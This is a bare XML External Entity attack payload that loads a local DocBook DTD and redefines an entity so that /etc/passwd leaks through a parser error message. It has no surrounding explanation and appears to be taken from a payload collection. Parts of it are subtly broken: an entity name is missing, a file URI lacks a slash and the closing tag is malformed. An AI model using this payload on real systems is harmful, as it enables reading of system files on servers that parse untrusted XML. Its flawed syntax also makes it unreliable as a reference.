XML External Entity

<!--?xml version="1.0" ?-->
<!DOCTYPE message [
    <!ENTITY %local_dtd SYSTEM "file://usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY %   '
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
            &#x25;eval;
            &#x25;error;
        '>
        %local_dtd;
]>
<message>...<message>